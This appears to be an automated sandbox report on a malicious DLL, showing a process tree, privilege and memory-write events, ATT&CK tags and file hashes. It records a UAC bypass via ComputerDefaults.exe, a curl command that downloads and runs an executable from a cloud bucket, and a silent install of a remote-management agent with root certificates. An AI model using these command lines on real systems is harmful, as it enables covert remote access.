description pid Process Token: SeDebugPrivilege 5708 rundll32.exe Token: SeLoadDriverPrivilege 5708 rundll32.exe Token: SeTakeOwnershipPrivilege 5708 rundll32.exe Token: SeIncBasePriorityPrivilege 5708 rundll32.exe Token: SeTcbPrivilege 5708 rundll32.exe Token: SeShutdownPrivilege 8 msiexec.exe Token: SeIncreaseQuotaPrivilege 8 msiexec.exe Token: SeSecurityPrivilege 1732 msiexec.exe Token: SeCreateTokenPrivilege 8 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 8 msiexec.exe Token: SeLockMemoryPrivilege 8 msiexec.exe Token: SeIncreaseQuotaPrivilege 8 msiexec.exe Token: SeMachineAccountPrivilege 8 msiexec.exe Token: SeTcbPrivilege 8 msiexec.exe Token: SeSecurityPrivilege 8 msiexec.exe Token: SeTakeOwnershipPrivilege 8 msiexec.exe Token: SeLoadDriverPrivilege 8 msiexec.exe Token: SeSystemProfilePrivilege 8 msiexec.exe Token: SeSystemtimePrivilege 8 msiexec.exe Token: SeProfSingleProcessPrivilege 8 msiexec.exe Token: SeIncBasePriorityPrivilege 8 msiexec.exe Token: SeCreatePagefilePrivilege 8 msiexec.exe Token: SeCreatePermanentPrivilege 8 msiexec.exe Token: SeBackupPrivilege 8 msiexec.exe Token: SeRestorePrivilege 8 msiexec.exe Token: SeShutdownPrivilege 8 msiexec.exe Token: SeDebugPrivilege 8 msiexec.exe Token: SeAuditPrivilege 8 msiexec.exe Token: SeSystemEnvironmentPrivilege 8 msiexec.exe Token: SeChangeNotifyPrivilege 8 msiexec.exe Token: SeRemoteShutdownPrivilege 8 msiexec.exe Token: SeUndockPrivilege 8 msiexec.exe Token: SeSyncAgentPrivilege 8 msiexec.exe Token: SeEnableDelegationPrivilege 8 msiexec.exe Token: SeManageVolumePrivilege 8 msiexec.exe Token: SeImpersonatePrivilege 8 msiexec.exe Token: SeCreateGlobalPrivilege 8 msiexec.exe Token: SeRestorePrivilege 1732 msiexec.exe Token: SeTakeOwnershipPrivilege 1732 msiexec.exe Token: SeRestorePrivilege 1732 msiexec.exe Token: SeTakeOwnershipPrivilege 1732 msiexec.exe Token: SeRestorePrivilege 1732 msiexec.exe Token: SeTakeOwnershipPrivilege 1732 msiexec.exe Token: SeRestorePrivilege 1732 msiexec.exe Token: SeTakeOwnershipPrivilege 1732 msiexec.exe Token: SeRestorePrivilege 1732 msiexec.exe Token: SeTakeOwnershipPrivilege 1732 msiexec.exe Token: SeRestorePrivilege 1732 msiexec.exe Token: SeTakeOwnershipPrivilege 1732 msiexec.exe Token: SeRestorePrivilege 1732 msiexec.exe Token: SeTakeOwnershipPrivilege 1732 msiexec.exe Token: SeRestorePrivilege 1732 msiexec.exe Token: SeTakeOwnershipPrivilege 1732 msiexec.exe Token: SeRestorePrivilege 5208 7za.exe Token: 35 5208 7za.exe Token: SeSecurityPrivilege 5208 7za.exe Token: SeSecurityPrivilege 5208 7za.exe Token: SeRestorePrivilege 1876 7za.exe Token: 35 1876 7za.exe Token: SeSecurityPrivilege 1876 7za.exe Token: SeSecurityPrivilege 1876 7za.exe Token: SeRestorePrivilege 2560 7za.exe Token: 35 2560 7za.exe Token: SeSecurityPrivilege 2560 7za.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 1520 dcusbsummary.exe - Suspicious use of WriteProcessMemory 42 IoCs
description pid Process procid_target PID 5692 wrote to memory of 5708 5692 rundll32.exe 85 PID 5708 wrote to memory of 1528 5708 rundll32.exe 97 PID 1528 wrote to memory of 5452 1528 cmd.exe 99 PID 5452 wrote to memory of 5944 5452 ComputerDefaults.exe 100 PID 5708 wrote to memory of 5648 5708 rundll32.exe 111 PID 5708 wrote to memory of 3400 5708 rundll32.exe 117 PID 3400 wrote to memory of 6036 3400 cmd.exe 119 PID 6036 wrote to memory of 5124 6036 ComputerDefaults.exe 120 PID 5708 wrote to memory of 3760 5708 rundll32.exe 121 PID 3760 wrote to memory of 4220 3760 KeNoAIv923.6.5767.71931.EXE 122 PID 4220 wrote to memory of 8 4220 WScript.exe 123 PID 1732 wrote to memory of 2968 1732 msiexec.exe 127 PID 1732 wrote to memory of 4712 1732 msiexec.exe 128 PID 4712 wrote to memory of 4760 4712 dcagentregister.exe 129 PID 4760 wrote to memory of 3476 4760 cmd.exe 131 PID 3476 wrote to memory of 4768 3476 net.exe 132 PID 4760 wrote to memory of 4132 4760 cmd.exe 133 PID 4760 wrote to memory of 1320 4760 cmd.exe 134 PID 4760 wrote to memory of 2608 4760 cmd.exe 135 PID 4760 wrote to memory of 3256 4760 cmd.exe 136 PID 4760 wrote to memory of 3148 4760 cmd.exe 137 PID 4712 wrote to memory of 3976 4712 dcagentregister.exe 140 PID 3976 wrote to memory of 5208 3976 cmd.exe 142 PID 4712 wrote to memory of 1876 4712 dcagentregister.exe 146 PID 4712 wrote to memory of 2560 4712 dcagentregister.exe 148 PID 4712 wrote to memory of 4408 4712 dcagentregister.exe 150 PID 4712 wrote to memory of 1000 4712 dcagentregister.exe 153 PID 4948 wrote to memory of 5440 4948 dcagentservice.exe 155 PID 4948 wrote to memory of 1728 4948 dcagentservice.exe 158 PID 4948 wrote to memory of 1520 4948 dcagentservice.exe 157 PID 1520 wrote to memory of 1764 1520 dcusbsummary.exe 160 PID 4948 wrote to memory of 5540 4948 dcagentservice.exe 162 PID 4948 wrote to memory of 5320 4948 dcagentservice.exe 164 PID 4948 wrote to memory of 5400 4948 dcagentservice.exe 165 PID 4948 wrote to memory of 6096 4948 dcagentservice.exe 168 PID 4712 wrote to memory of 5408 4712 dcagentregister.exe 170 PID 4948 wrote to memory of 2868 4948 dcagentservice.exe 171 PID 2868 wrote to memory of 2208 2868 dcconfig.exe 173 PID 5408 wrote to memory of 3996 5408 dcagentregister.exe 176 PID 5408 wrote to memory of 3796 5408 dcagentregister.exe 177 PID 3796 wrote to memory of 548 3796 cmd.exe 180 PID 1000 wrote to memory of 3832 1000 dcinventory.exe 182
Processes
-
C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\0a1fca14d5a9ac054df377a55c9a17c8a7e1337ad84410f3cc4c1135e75291ee.dll,#11⤵
- Suspicious use of WriteProcessMemory
PID:5692 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\0a1fca14d5a9ac054df377a55c9a17c8a7e1337ad84410f3cc4c1135e75291ee.dll,#12⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5708 -
C:\Windows\SysWOW64\cmd.exe/c "C:\Windows\System32\ComputerDefaults.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1528 -
C:\Windows\SysWOW64\ComputerDefaults.exeC:\Windows\System32\ComputerDefaults.exe4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5452 -
C:\ProgramData\hagqfGuSRlEBUcOtDOpDMfkZrNvIdpFM.gGz\CUOyzuYkKwHlmhUrWXTKCbGQgJlJppcJ.ktO.exe"CUOyzuYkKwHlmhUrWXTKCbGQgJlJppcJ.ktO.exe"5⤵
- Executes dropped EXE
PID:5944
-
-
-
-
C:\Windows\system32\curl.exe"C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\KeNoAIv923.6.5767.71931.EXE" "https://dfghdfhd.oss-ap-southeast-5.aliyuncs.com/setup.exe"3⤵
- Downloads MZ/PE file
PID:5648
-
-
C:\Windows\SysWOW64\cmd.exe/c "C:\Windows\System32\ComputerDefaults.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3400 -
C:\Windows\SysWOW64\ComputerDefaults.exeC:\Windows\System32\ComputerDefaults.exe4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:6036 -
C:\ProgramData\xgoAQcJeTYeZKVTXcLfYLNyKGCJocpkj.GrA\BBCuMBAqWOtLmdsRjBcLJcHgkUeeYRNC.muQ.exe"BBCuMBAqWOtLmdsRjBcLJcHgkUeeYRNC.muQ.exe"5⤵
- Executes dropped EXE
PID:5124
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\KeNoAIv923.6.5767.71931.EXE"C:\Users\Admin\AppData\Local\Temp\KeNoAIv923.6.5767.71931.EXE" /S /norestart3⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3760 -
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\SetUP.VBS"4⤵
- Checks computer location settings
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:4220 -
C:\Windows\System32\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX0\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\RarSFX0\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX0\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX0\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Agentinstalllog.txt"5⤵
- Suspicious use of AdjustPrivilegeToken
PID:8
-
-
-
-
C:\Windows\SysWOW64\cmd.exe/c "C:\Windows\System32\ComputerDefaults.exe"3⤵PID:5424
-
C:\Windows\SysWOW64\ComputerDefaults.exeC:\Windows\System32\ComputerDefaults.exe4⤵PID:5648
-
C:\ProgramData\xqsDjCrsPyWcoyXLVSnybzpmpzLYnuum.cYv\nGcCUmsZJFLgmDMhTZCFcBvOjeAYyFiw.hRN.exe"nGcCUmsZJFLgmDMhTZCFcBvOjeAYyFiw.hRN.exe"5⤵PID:4940
-
-
-
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Badlisted process makes network request
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1732 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 836CEB9BF803CA4B9854B833809F245F2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2968
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe" -i dc2⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies trusted root certificate store through registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:4712 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\setAppPermission_Internal.bat" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\""3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4760 -
C:\Windows\SysWOW64\net.exenet session4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3476 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 session5⤵
- System Location Discovery: System Language Discovery
PID:4768
-
-
-
C:\Windows\SysWOW64\icacls.exe"C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /grant *S-1-5-18:(OI)(CI)F /T /Q /grant *S-1-5-32-544:(OI)(CI)F /T /Q4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:4132
-
-
C:\Windows\SysWOW64\icacls.exe"C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /grant:r "VYPMRCYQ\Admin":(OI)(CI)F /T /Q4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:1320
-
-
C:\Windows\SysWOW64\icacls.exe"C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /inheritance:r4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:2608
-
-
C:\Windows\SysWOW64\icacls.exe"C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /remove:g "CREATOR OWNER" /T /Q /remove:g "BUILTIN\Users" /T /Q /remove:g *S-1-15-2-1 /T /Q4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:3256
-
-
C:\Windows\SysWOW64\icacls.exe"C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /remove:g *S-1-5-11 /T /Q /remove:g *S-1-15-2-2 /T /Q4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:3148
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json""3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3976 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" -so4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:5208
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za e -mx9 "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\agent_binaries.7z" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\" -y3⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:1876
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e -aoa "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\locale_resources.zip" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\"3⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:2560
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe" -install 223⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:4408
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exebin\dcinventory.exe -i postinstallation 0 13⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:1000 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcmetroapps.exedcmetroapps.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3832
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe" -p dc3⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:5408 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcpatchscan.exebin\dcpatchscan.exe -y 14⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:3996 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcdriverupdates.dll.gz" *5⤵PID:3228
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcdriverupdates.dll.gz" dcdriverupdates.dll5⤵PID:3264
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcpatchutils.dll.gz" *5⤵PID:3964
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcpatchutils.dll.gz" dcpatchutils.dll5⤵PID:3436
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\drvforceupdate.exe.gz" *5⤵PID:3228
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\drvforceupdate.exe.gz" drvforceupdate.exe5⤵PID:3264
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /C systeminfo.exe > "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\logs\systeminfo.log"4⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3796 -
C:\Windows\SysWOW64\systeminfo.exesysteminfo.exe5⤵
- System Location Discovery: System Language Discovery
- Gathers system information
PID:548
-
-
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:5876
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4948 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\CRU_Reporter.exeCRU_Reporter.exe -RegisterCRU2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:5440
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusbsummary.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusbsummary.exe" -s ET_ENUM 9 2 "Unknown"2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Checks SCSI registry key(s)
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1520 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusb64.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusb64.exe" -s 93⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
PID:1764
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe7 0 02⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:1728
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exebin\dcstatusutil.exe RequestAgentSlotFromServer2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:5540
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:5320
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcswmeter.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\dcswmeter.exe" -s ET_COL2⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
PID:5400
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\dcinventory.exe" -s prenotify2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:6096
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe3 0 02⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2868 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe163⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:2208
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcuploadlogs.exerefresh3⤵PID:3344
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DCProcessMonitor.exeDCProcessMonitor.exe2⤵PID:4816
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHealthChecker.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\UEMSAgentHealthChecker.exe"1⤵PID:5348
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe" UEMSAgent 12⤵PID:2360
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe" UEMSAgent 22⤵PID:5308
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe" UEMSAgent 42⤵PID:5896
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2Visual Basic
1Windows Command Shell
1Defense Evasion
File and Directory Permissions Modification
1Modify Registry
1Subvert Trust Controls
2Install Root Certificate
2Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Config.Msi\e59babf.rbs
- Size 63KB
- SHA256 f5a0cdf8179364bc857f0f8cf486ff3d33c87cb0605e776a05afb187db85df5a
- MD5 5fbef07356e83971b8423b237397aab8
- SHA1 4b347f137f4e9f2bf4c5a594281251eea1083f53
- SHA512 3d933890997ff7324ff1b093747319dc95a8ec5496a220ae222d653a44c150059945f010cb40a782bf604a7bf5166fa4a7086e0f4e9a217f9f8a4c42198359ef
- SSDEEP 768:Livw1oOjyhMzY7yjDO+GLAt5ASaM4O6ee0w054ImBVbK:O8oGyh7UDO+enJN9zbK
- TLSH T11D537166DB26E2CBD1152AF63382AD1806098C7B66F0C47E13186D37C4DBB457EBF858
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Config.Msi\e59bac5.rbs
- Size 546B
- SHA256 b8c0a897891c125749ff37e30c44a32016cb7c905154e8637c827a3dbca034af
- MD5 d9991ed5cb823d40da4c59c48cdc5d5a
- SHA1 db2c639b187e31b0724295e81447a0049e9c2e62
- SHA512 ef66906f664b5ec78d4f920766e63498b6015154e6b14fc48adf6e3a84b5aa1f72a2324733477913f451a168ce48e98ef8c7eb427ce356fecad385e7f61d9fc1
- TLSH T1A8F09E97E70446E3D5916B3652036F141A2BE57EC19487B92E441234BE2231A5EBF0C9
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\Certificates\client.p12
- Size 1KB
- SHA256 cfd2aadcb4e446c9e797e49b768f89fff4008d7b8412e824854ece4a392a659e
- MD5 f2698358b92956f8799a61be668e8d04
- SHA1 f0938903546479056a80ac2dfc895ab32aa79439
- SHA512 25f47d3b734d803f02aa2bd378dd9a44c011f058cae0a7fb711b4699b7378275d7a6575680df4e9d5cf3304132c3d04c7f97d2e28d445551cd5adae0876c1df3
- TLSH T1C5218403321E21433D79DD80085E1EB6E589CB9405FD561F7ABA02D99C91207B01CF67
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\DownloadRepository\dc5244.tmp
- Size 5KB
- SHA256 e18a88f7a968d4362e4093fcc2ecef73a5dbee1844d1d4efa060c7b46bb8b765
- MD5 a15082d0fae110ed8f8301684730202e
- SHA1 ca1ba2d485f8d1ad8e3423d9d59c4ae0ca5e0c42
- SHA512 92840d02f7c6d43129faafa95afdf0ed3c523a45faa4b2ce9acad8376fdec1142fc875b2453c93737d781a6475f1ab903e426658a9e5071c1ee6a0e8871fd1f0
- SSDEEP 96:CWdv4W+Ep6S4cVF6cNZcGRD8wjFbGiahUf/EAA:gUGHElZhLggzA
- TLSH T153B13010A0A28F6923B1775C999AEA55CD1606A1361A1E05F02D39A70B3EFC23DB74F6
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
- Size 839KB
- SHA256 bfb34635f295df13ea1677c0d51d08fafd2da21a1c0bea252df6342d40e511a0
- MD5 a5efe54df4f28f6d12adf840dc931b36
- SHA1 dc9f5baecfc6cb27e8fd3ec56faafa1e007bf743
- SHA512 274fe37ae37397efa5425759bc55d6dd53fcd1b76c1472d8d952ff4bb72f5c8ec0f0f28a712e350a2025292851e483f7334463cf2920388c81b238223c9e434a
- SSDEEP 24576:fIgB4BNEPZ0m2uTH35dmvTAQkWUnNwjiKSYOojDuR1uwe:fIfBNM2uT5MM/xejJqe
- TLSH T19805AE127BE5D0BBD2420132CB1CABF591F993680B2148C767848F6D7B359D1DA3AA1F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ClientAuthHandler.dll
- Size 3.1MB
- SHA256 1102372d609f75023e88b678f94e971bbdf5358a5ddd8bb9b9a06f691a84131a
- MD5 5e3325dc85cc12d8bfee900860aad196
- SHA1 5e90a608d42a71990f75ffa9f6fd848bbad2e955
- SHA512 df44f85d3c15377a6687e3bf39e3de07b42f0cdf650c5f9d54f21b8f03a6d4268e9e25e537a71504e1ea7a9133836f095d79453c3f1a1c71faf0f1609544c653
- SSDEEP 49152:Zg9cbMMO/M+PmzbLYu9dbSM/fECTK8PqszU6GFXvPU5BLBjAKnbwk1D:ZgewMp+uzbLD9dbSM/fEsKvm
- TLSH T1C1E59E07FB83D5B1DD8E027801B79B7F5D3A8D144B2089E39B9029ADA8B61D0563F36D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentCryptoHandler.dll
- Size 480KB
- SHA256 ceabc673783a385ca9195df6425dcd5b2e24a5028380d077f58feba88d99d4ce
- MD5 5fffcb6c5222a8c135284688da03c53a
- SHA1 01d0f499a855a787ccb4164460e6d233057062bc
- SHA512 07600380e2445ca5eb6c432f20f96bcd978ca03bbdee4b7c6294732a2509eb46e0895dc15e90805ffc60d7421522b08ee710523ff5aaca0b49fa14dc916bf2fe
- SSDEEP 6144:30hLWB2aHCI0IAnwVMtO0/kcPT6dbJu6ktbAi4suVL90PQdIQA7LHPNwJzQyGVQW:3kKB2NPd4sEL90IdI1PbylXP2L
- TLSH T144A49E127545C032E6AE01B15A39EFBA66BDFD200F7648CB53C45A3F59B01C27736E2A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe
- Size 244KB
- SHA256 fe60589f3edeb7738c0eed47e886b6a396b80181d81bd703a0ba18b09839fad1
- MD5 eda3f4d032e0f94d572ba3e6e3667788
- SHA1 ec748a69c24afec114d96ba82184047d5459066f
- SHA512 873b1a18544c97ebd0db5236d682be2f731a8d59f9f46cfb7ec1c2e3c2c82a1100e7cc7ec0231a12726f17bb455bd867113e5a1b59d6905ad26275e00f7be715
- SSDEEP 6144:KR7kbE5weorw3RrDpfNtnVCXkZZsap08/:KiEqrw3RxfNtVCo
- TLSH T172348E6175D0C072D9A304369CB8DBB6597EF8200F71A6DB63980A7FDE206C29B7171E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe
- Size 1.5MB
- SHA256 58a398bf9942cbd605d83730da31fb53562fc0bb9a23bd5351c5e096a3f1bfcd
- MD5 05dc5e864516c3bcc32fea3cb865a38c
- SHA1 a95281090786bd0dff704e4a6333ef1391bc1cb6
- SHA512 949957f5e0e235a2760af353ed92d68f151050610a1cc0dee2c9643805d80b83f970eb28604032e716aa6dd274f1aaabdb3a762488f70d7b257236a730d1d304
